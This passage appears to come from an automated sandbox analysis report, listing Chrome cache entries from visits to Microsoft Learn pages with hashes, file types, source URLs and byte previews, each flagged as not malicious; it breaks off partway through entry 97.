SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
